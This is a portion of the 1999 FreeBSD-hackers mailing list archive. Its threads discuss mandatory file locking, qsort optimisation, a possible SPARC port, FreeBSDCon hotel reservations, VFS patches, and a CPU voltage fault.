(Postfix) with SMTP id 91CCB9BD1; Wed, 25 Aug 1999 09:37:31 -0400 (EDT) Date: Wed, 25 Aug 1999 09:37:31 -0400 (EDT) From: Jamie Bowden To: Tim Vanderhoek Cc: Wes Peters , FreeBSD Hackers Subject: Re: Mandatory locking? In-Reply-To: <19990825092143.C18970@ppp18415.on.bellglobal.com> Message-ID: X-badge: We don't need no stinking badges. X-obligatory-profanity: Fuck X-moo: Moo. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 25 Aug 1999, Tim Vanderhoek wrote: :[Cc's trimmed] : :On Wed, Aug 25, 1999 at 12:15:24AM -0600, Wes Peters wrote: :> > > :> > > How 'bout "anyone who can kill the process holding the lock?" :> > :> > + file owner ( + root ). :> :> Which processes can't root kill? : :Zombies? :) ps shows the parent. Kill the parent, and the zombified child dies. This ia a non issue. Jamie Bowden -- If we've got to fight over grep, sign me up. But boggle can go. -Ted Faber (on Hasbro's request for removal of /usr/games/boggle) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 7:36: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp2.dti.ne.jp (smtp2.dti.ne.jp [210.170.128.122]) by hub.freebsd.org (Postfix) with ESMTP id A451D14E50 for ; Wed, 25 Aug 1999 07:35:53 -0700 (PDT) (envelope-from a-wada@mars.dti.ne.jp) Received: from a.mars.dti.ne.jp (PPP68.tachikawa-ap4.dti.ne.jp [202.216.255.86]) by smtp2.dti.ne.jp (8.9.3/3.7W) with SMTP id XAA24249; Wed, 25 Aug 1999 23:32:20 +0900 (JST) Message-Id: <199908251432.AA00055@a.mars.dti.ne.jp> From: Akira Wada Date: Wed, 25 Aug 1999 23:32:05 +0900 To: Christopher Seiwald Cc: archie@whistle.com, vanderh@ecf.utoronto.ca, freebsd-hackers@FreeBSD.ORG Subject: Re: anybody love qsort.c? In-Reply-To: <199908230728.AAA24061@perforce.com> References: <199908230728.AAA24061@perforce.com> MIME-Version: 1.0 X-Mailer: AL-Mail32 Version 1.10 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Seiwald wrote... >Archie's mod to qsort: > >| >- if (swap_cnt == 0) { /* Switch to insertion sort */ >| >+ if (n <= 32 && swap_cnt == 0) { /* Switch to insertion sort */ > >As Akira Wada points out, this eliminates the benefit of the optimization >in the first place, which is to let isort take over if the data is largely >sorted in the first place. > >Akira Wada's alternative mod: > >| + pl = (char *)a; pn = (char *)a + (n - 1) * es; >| + while (pl < pn && cmp(pl, pl + es) <= 0) pl += es; >| + if (pl >= pn) return; > >This is a little more comprehensive, but does throw in an extra pass >of comparisons, which (I'm sure) someone would complain about. > >The alteration that I've tried and tested is to have the isort bail >back to qsort if it does more than N swaps. I put N at 1024, which >worked for my data :). This is almost guaranteed to do no more work >than the current logic, because it it only gives up on the isort when >it has evidence that the isort is doing too much work. > I think it would be difficult, not impossible, to decide the threshold (Christopher Seiwald said, "# swaps >= 1024", and Tim Vanderhoek suggested, "a ratio: #comparisons : # swaps") and to what point of qsort, to make isort bail back, effectively, without troubles, and covering every situations. I considered the cases (swap_cnt == 0) is true, and they could be illustrated by figure [1],[2],[3] below. [1] | :************ ( 2 subarrays are randomized ) | :************ This is the worst case pointed out | :************ by Christopher Seiwald, and so | :************ isort has to work twice for random k | :************ arrays of n/2 elements, although e +------------*------------ probability of this case might be y |************: very very small in real life. |************: Because of this low probability, |************: I guess, FreeBSD qsort had been left |************: as it is, for about 10 years since the |************: 1'st issue, even though someone wuold +-------------+----------- have been already aware of the thing. position [2] | : ***** (sorted almost) | : ***** This is the case isort is expected to | (X) : ***** work efficiently, but if any elements | : ***** exist in region (X) and/or (Y), k | :**** "swap_cnt" could not detect the advantages. e +------------*------------ And probability (X) and (Y) are empty, y | ****: might be very small, at least, in the | ***** : practical applications. This case might | ***** : (Y) occur when a lower significant key is | ***** : added for the dataset sorted already |***** : with some higher keys (same keys exsist), +------------+------------ etc.. position [3] | : * (sorted completely) | : * Therefor, usefulness of "swap_cnt" is | : * guaranteed only for this case. | : * And so, it would be worth while to detect k | : * the array sorted completely, without risk e +------------*------------ to degenerate, instead of "swap_cnt and isort", y | * : and the test loop is not so expensive for | * : usual arrangements because of breaking | * : out from loop at the 1'st pair out of order, | * : and at worst n - 2 comparisons. | * : +------------+------------ position Then an improvement would be : (1) delete the switching to "isort by swap_cnt", and add the routine detecting sorted completely. (2) adding (1), make the partitioning logic symmetrical, for dataset sorted in reversed order to be processed efficiently, e.g. malloc(size) for pivot instead of "swap(a, pm)" and some modifications required by this. By the way, I am doubting yet the efficiency of isort for small subarrays in quicksort, so I'd made some experiments for this and the results at ; http://www.mars.dti.ne.jp/~a-wada/qsortlib/ccn/qsortins.c http://www.mars.dti.ne.jp/~a-wada/qsortlib/ccn/qsortins.txt so that I didn't use isort in my qsorts.c at my 1'st post, and in the other codes for practical usages, at ; http://www.mars.dti.ne.jp/~a-wada/qsortlib.html -- Akira Wada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 8:14:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 2A9B415C22 for ; Wed, 25 Aug 1999 08:14:40 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id AAA25235; Thu, 26 Aug 1999 00:13:00 +0900 (JST) Message-ID: <37C407C6.D6FB6532@newsguy.com> Date: Thu, 26 Aug 1999 00:12:06 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Greg Lehey Cc: Wes Peters , Christopher Masto , FreeBSD Hackers Subject: Re: Mandatory locking? References: <19990823231130.A16133@netmonger.net> <19990823232726.B16133@netmonger.net> <37C2B148.60FB81FA@newsguy.com> <37C3890B.7AD1E44F@softweyr.com> <19990825155207.Q83273@freebie.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > > On Wednesday, 25 August 1999 at 0:11:23 -0600, Wes Peters wrote: > > "Daniel C. Sobral" wrote: > >> > >> Christopher Masto wrote: > >>> > >>> I don't see the use for it. > >> > >> :-) > >> > >> The thing is SO obviously flawed, that I wonder how many marketoid > >> drones it took to make sensible people think it is actually useful. > >> :-) > > > > And how many programmers with nearly (or more than) two decades of UNIX > > experience it takes to convince someone it really is useful. > > I must say, I'm really amazed at some of the opinions that have been > voiced in this thread. Of course, that's all they are, and they show > the origins of their owners. > > Any system with multiple concurrent accesses requires locking. Only > UNIX uses advisory locking. It almost does the job, so nobody has > tried to fix things. But that doesn't make it right. Well, now, that message of mine quoted above was intended to lighten up the mood. I'spose so was Wes' message. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 9:57:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 5F49415BF8 for ; Wed, 25 Aug 1999 09:57:16 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id JAA15708; Wed, 25 Aug 1999 09:56:50 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Jason Thorpe Cc: Dennis , freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? In-reply-to: Your message of "Mon, 23 Aug 1999 10:05:49 PDT." <199908231705.KAA13676@lestat.nas.nasa.gov> Date: Wed, 25 Aug 1999 09:56:50 -0700 Message-ID: <15704.935600210@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Mon, 23 Aug 1999 11:28:20 -0400 > Dennis wrote: > > > I heard a rumor that freebsd runs on a sparc, but I dont see any backing > > for that. Is it in the works? > > FreeBSD does not run on the SPARC. I think they've been talking about it > for ... what, 5 years now... but it never materialized. Well, the implications of that statement are somewhat inaccurate and unfair. We haven't been talking about a SPARC port for 5 years any more than we've been talking about a pc532 port for 5 years. Sure, maybe someone has brought it up from time to time but, to the best of my knowledge, the only really "serious" inquiries started cropping up about a year ago when Sun SMC actually wanted to fund a port of FreeBSD in response to customer demand, but then Sun slammed all of its various satellite companies together again and SunSoft nixed the deal as unwonted competition. Perhaps now that Sun has embraced Linux in a shameless attempt to catch the open source buzz, we'll be able to revive the project. I prodded Scott McNealy a couple of weeks ago about this, and he responded by putting me in touch with one Marcia Murray from the developer's organization, I've just been too busy attending conferences this month to give her a ring. Thanks for the reminder. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 10:10:17 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 343EA15C70 for ; Wed, 25 Aug 1999 10:10:11 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA15805; Wed, 25 Aug 1999 10:09:25 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Jun-ichiro itojun Hagino Cc: hackers@FreeBSD.ORG, freebsd@cdrom.com Subject: Re: [freebsdcon] radisson reservation In-reply-to: Your message of "Tue, 24 Aug 1999 02:18:08 +0900." <8803.935428688@coconut.itojun.org> Date: Wed, 25 Aug 1999 10:09:25 -0700 Message-ID: <15801.935600965@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > (I believe it got bounced due to my mistake in To: line. > sorry if you got it multiple times) > > Hello, if this mailing list is inappropriate please tell me so. > > I contacted radisson hotels for FreeBSDCon reservation with > special discount, to get the following email - they don't know > about special rate code "FreeBSDCon". What is the exact code for > reservation? Do any of you have success experience with it? > > Also, the email suggests that web reservation does not work for > special rate reservation. You may want to update freebsdcon.org > webpages. Actually, what needed to get updated was the hotel, not our web pages. :) I just called them and they had apparently listed this under "Walnut Creek CDROM", not the most obvious thing to ask for. That's why queries have been either bouncing or meeting with general incomprehension with the reservations staff. I'm not sure how this got screwed up, but I apologise for the error and the hotel has promised to update all their records ASAP. - Jordan > > itojun > > > ------- Forwarded Message > > Return-Path: > Received: from bricks.carlson.com (mail.carlson.com [208.240.12.67]) > by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id SAA01929 > for ; Mon, 23 Aug 1999 18:57:14 +0900 (JST) > Received: from mail.carlson.com (root@localhost) > by bricks.carlson.com with ESMTP id EAA15651 > for ; Mon, 23 Aug 1999 04:57:09 -0500 (CDT) > Received: from otcmsg07.carlson.com (otcmsg07.carlson.com [172.24.129.74]) > by mail.carlson.com with SMTP id EAA15647 > for ; Mon, 23 Aug 1999 04:57:08 -0500 (CDT) > Received: by otcmsg07.carlson.com with Internet Mail Service (5.5.2448.0) > id ; Mon, 23 Aug 1999 04:57:05 -0500 > Message-ID: <976D77F8C53DD211944D0008C7B184370135E36E@omaha-msg01.radisson.co m> > From: Omaha Specialists > To: "'itojun@itojun.org'" > Cc: Omaha Specialists > Subject: RE: * Radisson Hotels > Date: Mon, 23 Aug 1999 04:55:58 -0500 > MIME-Version: 1.0 > X-Mailer: Internet Mail Service (5.5.2448.0) > Content-Type: text/plain > X-Filter: mailagent [version 3.0 PL56] for itojun@itojun.org > > Mr Hagino, > > Special group/conference rates are not available via the web - we did > contact the hotel and they don't show a special rate for your > group - what does BSD stand for? All the groups that we have listed here > have to be booked with the hotel directly. I can provide > you with their phone and fax number. Phone# is 510-548-7920 fax# > 510-548-7944. You may want to contact them directly > concerning this conference. > > Sincerely, > Geri Lowe > Radisson Hotels International > > > -----Original Message----- > > From: itojun@itojun.org [SMTP:itojun@itojun.org] > > Sent: Sunday, August 22, 1999 11:34 PM > > To: slsspecs@carlson.com > > Subject: * Radisson Hotels > > > > Mozilla/4.51 [en] (X11; I; NetBSD 1.4 i386; Nav) > > gw.radisson.com > > jun-ichiro hagino > > +81-3-3490-9225 > > I would like to reserve a non-smoking room, 1 adult, 18/oct/99 - > > 21/oct/99, at Radisson Berkeley Marina (Berkeley CA). > > > > I'm attending FreeBSDCon, a conference held there. I wonder how I can > > ensure to get discount for FreeBSDCon ($125/night) via web reservation. > > Thanks for your help. > > ------- End of Forwarded Message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 10:21: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pak2.texar.com (pak2.texar.com [216.208.160.130]) by hub.freebsd.org (Postfix) with ESMTP id D483D14C21 for ; Wed, 25 Aug 1999 10:21:03 -0700 (PDT) (envelope-from dseg@pak2.texar.com) Received: from localhost (dseg@localhost) by pak2.texar.com (8.9.2/8.8.3) with ESMTP id NAA78834; Wed, 25 Aug 1999 13:17:17 -0400 (EDT) Date: Wed, 25 Aug 1999 13:17:17 -0400 (EDT) From: Dan Seguin To: "Jordan K. Hubbard" Cc: hackers@FreeBSD.ORG Subject: Re: [freebsdcon] radisson reservation In-Reply-To: <15801.935600965@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 25 Aug 1999, Jordan K. Hubbard wrote: > > Actually, what needed to get updated was the hotel, not our web pages. :) > > I just called them and they had apparently listed this under "Walnut > Creek CDROM", not the most obvious thing to ask for. That's why > queries have been either bouncing or meeting with general > incomprehension with the reservations staff. I'm not sure how this > got screwed up, but I apologise for the error and the hotel has promised > to update all their records ASAP. > > - Jordan > Actually, I booked my room on Monday, the 23rd, at about 11:00 AM EST, mentioning the FreeBSDCon. The clerk knew what I was talking about right away. I guess she was the only one on the ball. Dan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 10:34:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 8176515351; Wed, 25 Aug 1999 10:34:30 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.8.8/8.8.8) with ESMTP id KAA16565; Wed, 25 Aug 1999 10:49:12 GMT (envelope-from bright@wintelcom.net) Date: Wed, 25 Aug 1999 10:49:12 +0000 (GMT) From: Alfred Perlstein To: hackers@freebsd.org Cc: fs@freebsd.org Subject: second round, vfs and fh* calls. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've done a bit more work on the VFS cleanup part of my diffs. Unfortunatly I had overlooked some of the filesystems and they were not compiling cleanly. (ext2fs) http://big.endian.org/~bright/freebsd/in_progress/vfs-fhsyscall.diff The fh*() syscalls are still being worked on, but I'd really like to get this into the tree so my patches don't get stale. thanks, -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 10:57: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232]) by hub.freebsd.org (Postfix) with ESMTP id 49B381572F for ; Wed, 25 Aug 1999 10:56:38 -0700 (PDT) (envelope-from leifn@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.9.3/8.9.3) with SMTP id TAA80542; Wed, 25 Aug 1999 19:50:14 +0200 (CEST) (envelope-from leifn@neland.dk) Message-ID: <007c01beef22$859036a0$0e00a8c0@neland.dk> From: "Leif Neland" To: "Gregory Sutter" Cc: References: <19990824132943.B11107@proxydev.inktomi.com> <199908242133.OAA18621@apollo.backplane.com> <19990824154432.A21013@proxydev.inktomi.com> <19990825020108.B20512@forty-two.egroups.net> Subject: Sv: K6/3 on 3.2-STABLE - PROBLEM SOLVED Date: Wed, 25 Aug 1999 19:51:48 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >=20 > > After rechecking all the jumpers it turns out that the supplier > > had set the core voltage to 2.2V instead of 2.4V! =20 >=20 > Interesting that the error was reproducible, if this was the cause of=20 > it. The problem never varied from that exact point? I'd like to say > that I find that a testament to the precision of modern computer > hardware, but I'm still having trouble believing that the incorrect > voltage setting caused a specific, always-reproducible problem. =20 >=20 > Greg Back around 1980, I overclocked my 5MHz z80 to 6MHz. It worked without = problems, except that for-next loops in comal didn't exit as expected. = That was also reproducible... Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 11:21:51 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 0A363152D6 for ; Wed, 25 Aug 1999 11:21:49 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA14122; Wed, 25 Aug 1999 11:20:25 -0700 (PDT) (envelope-from dillon) Date: Wed, 25 Aug 1999 11:20:25 -0700 (PDT) From: Matthew Dillon Message-Id: <199908251820.LAA14122@apollo.backplane.com> To: "Leif Neland" Cc: "Gregory Sutter" , Subject: Re: Sv: K6/3 on 3.2-STABLE - PROBLEM SOLVED References: <19990824132943.B11107@proxydev.inktomi.com> <199908242133.OAA18621@apollo.backplane.com> <19990824154432.A21013@proxydev.inktomi.com> <19990825020108.B20512@forty-two.egroups.net> <007c01beef22$859036a0$0e00a8c0@neland.dk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :Back around 1980, I overclocked my 5MHz z80 to 6MHz. It worked without problems, except that for-next loops in comal didn't exit as expected. That was also reproducible... : :Leif In the early 90's I regularly ran 10 MHz 68000's at 20 MHz (which was about the limit the dynamic ram at the time could handle). When motorola started phasing out the DIP version of the 68000 after many years of good service, one of their big customers noted that Motorola had updated the process many times but had never updated the timing specs during virtually the entire life of the product, and wanted to know how fast the chip could actually be run. So Motorola tested it. I believe the 12.5 MHz spec'd chip tested to 80 MHz. Not bad! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 11:27:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 7EF5B15B28 for ; Wed, 25 Aug 1999 11:26:59 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.1/8.9.1) id LAA233334; Wed, 25 Aug 1999 11:25:47 -0700 Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp05.primenet.com, id smtpdQ_6fMa; Wed Aug 25 11:25:39 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id LAA06751; Wed, 25 Aug 1999 11:25:31 -0700 (MST) From: Terry Lambert Message-Id: <199908251825.LAA06751@usr08.primenet.com> Subject: Re: Mandatory locking? To: grog@lemis.com (Greg Lehey) Date: Wed, 25 Aug 1999 18:25:31 +0000 (GMT) Cc: wes@softweyr.com, dcs@newsguy.com, chris@netmonger.net, hackers@FreeBSD.ORG In-Reply-To: <19990825155207.Q83273@freebie.lemis.com> from "Greg Lehey" at Aug 25, 99 03:52:07 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > And how many programmers with nearly (or more than) two decades of UNIX > > experience it takes to convince someone it really is useful. Har! 8-). > I must say, I'm really amazed at some of the opinions that have been > voiced in this thread. Of course, that's all they are, and they show > the origins of their owners. Har again! 8-). > Any system with multiple concurrent accesses requires locking. Only > UNIX uses advisory locking. It almost does the job, so nobody has > tried to fix things. But that doesn't make it right. UNIX doesn't do this _at all_ well for "hosted OS's". The NetWare for UNIX product, which I worked on the attributed FS (with resource forks and multiple namespaces) and the lock coherency model on is one example. We had to add hooks into the fcntl() call in the FS to support this. Something that might be interesting to look at in this regard is the latest SAMBA code. The latest SAMBA code has an OS OPLOCK (Opportunity Locking) API that it will utilize, if it is present (currently only on IRIX), which deals with the lock coherency issues. Note that since SAMBA externalizes via SMB an interface that has to implement NetBIOS calls, and those, in turn, externalize via the DOS INT 2A/2C mechanisms into the file I/O INTs, that SAMBA has to support mandatory locking. In effect, it is an API which externalizes much of the same types of operations that implement LEASE operations used by the current FreeBSD NFS server implementation. I don't know if this would be quite sufficient (it's been a while since I did a lease and order of operation audit on the VFS code, and written up patches to support Jordan's class project of making the NFS server locking work), but it should be a healthy start down the right road, I think. Might even fix a couple of NFS bugs as a side benefit... Anyway, Sean's also right about needing mandatory file locks for binary emulation of other platforms (some of which Sean coded for). Are file locks sufficient for Vinum, Greg? The current lock structures in FreeBSD are hung off the backing inodes (of which specfs has none available that are not themselves abstract), and the spec_advlock() function returns either EOPNOTSUPP or EINVAL, based on the arguments its given. IMO, unless the lock list is hung off the vnode (I guess you could hang the mandatory locks there, and leave the advisory ones alone, but that's kind of a waste, especially if the locking code can be reused), you aren't going to be able to do range locks on your stripes. Am I not understanding how Vinum's RAID 5 is implemented? Are you using files for the stripes, or are you laying out the disk as a true RAID 5 controller would lay it out? I guess this all moderately re-begs the "struct fileops" question, yet again, too... 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 11:48:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 407BC15180 for ; Wed, 25 Aug 1999 11:48:24 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id TAA04553; Wed, 25 Aug 1999 19:37:45 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id NAA10168; Wed, 25 Aug 1999 13:16:58 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Wed, 25 Aug 1999 13:16:57 +0100 From: Nik Clayton To: "Daniel C. Sobral" Cc: hackers@freebsd.org Subject: Re: [Fwd: Re: cvs commit: doc/en/handbook/ports chapter.sgml] Message-ID: <19990825131656.A9782@kilt.nothing-going-on.org> References: <37C1296C.82D5A24C@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <37C1296C.82D5A24C@newsguy.com>; from Daniel C. Sobral on Mon, Aug 23, 1999 at 07:58:52PM +0900 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 07:58:52PM +0900, Daniel C. Sobral wrote: > While going through old cvs commit log, I spotted this: > + > +/* Please update doc/en/handbook/ports/chapter.sgml when changing > */ > #undef __FreeBSD_version > #define __FreeBSD_version 400008 /* Master, propagated to newvers > */ Well spotted. I'll fix this shortly. N -- [intentional self-reference] can be easily accommodated using a blessed, non-self-referential dummy head-node whose own object destructor severs the links. -- Tom Christiansen in <375143b5@cs.colorado.edu> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 11:48:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 604141597A for ; Wed, 25 Aug 1999 11:48:24 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id TAA04554; Wed, 25 Aug 1999 19:37:45 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id OAA18667; Wed, 25 Aug 1999 14:27:00 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Wed, 25 Aug 1999 14:27:00 +0100 From: Nik Clayton To: "Daniel C. Sobral" Cc: hackers@freebsd.org Subject: Re: [Fwd: Re: cvs commit: doc/en/handbook/ports chapter.sgml] Message-ID: <19990825142659.A10355@kilt.nothing-going-on.org> References: <37C1296C.82D5A24C@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <37C1296C.82D5A24C@newsguy.com>; from Daniel C. Sobral on Mon, Aug 23, 1999 at 07:58:52PM +0900 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 07:58:52PM +0900, Daniel C. Sobral wrote: > While going through old cvs commit log, I spotted this: > +/* Please update doc/en/handbook/ports/chapter.sgml when changing > */ > #undef __FreeBSD_version > #define __FreeBSD_version 400008 /* Master, propagated to newvers > */ > > With the recent changes to the doc tree, should this file be updated > too? (Or maybe it was and I haven't seen that log yet :) Hang on a second, I spoke too soon. I've just had a look at that file, and I can see no trace of that comment in there. I can't see "handbook" in /home/ncvs/src/sys/sys/param.h,v either. Or was the point that this coment *should* be added to that file, but hasn't been yet? N -- [intentional self-reference] can be easily accommodated using a blessed, non-self-referential dummy head-node whose own object destructor severs the links. -- Tom Christiansen in <375143b5@cs.colorado.edu> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 12: 3:28 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id A4DEE15A1E for ; Wed, 25 Aug 1999 12:02:37 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id MAA27090; Wed, 25 Aug 1999 12:02:16 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp04.primenet.com, id smtpdAAAETaOX0; Wed Aug 25 12:02:04 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id MAA08329; Wed, 25 Aug 1999 12:02:18 -0700 (MST) From: Terry Lambert Message-Id: <199908251902.MAA08329@usr08.primenet.com> Subject: Re: Mandatory locking? To: will@iki.fi (Ville-Pertti Keinonen) Date: Wed, 25 Aug 1999 19:02:18 +0000 (GMT) Cc: wes@softweyr.com, hackers@FreeBSD.ORG In-Reply-To: <86pv0ccfau.fsf@not.demophon.com> from "Ville-Pertti Keinonen" at Aug 25, 99 01:42:16 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Not to jump down your throat, or anything, but you seem to be perpetuating some incorrct assumptions about both effect and proposed implementation details, and they must be stomped. 8-). > > And how many programmers with nearly (or more than) two decades of UNIX > > experience it takes to convince someone it really is useful. > > It should only take one, as long as the arguments made are not bogus. > > IMHO Greg made some very silly arguments (or at least used some very > stupid examples) for mandatory locking and never answered my points > regarding them. (The arguments of some of the ones opposing mandatory > locking have been equally silly.) I must have missed this... > I *do* agree that mandatory locking *can* be useful, but the > usefulness is not nearly as broad as some people seem to be implying, > and advisory locking is not as useless as some claim. 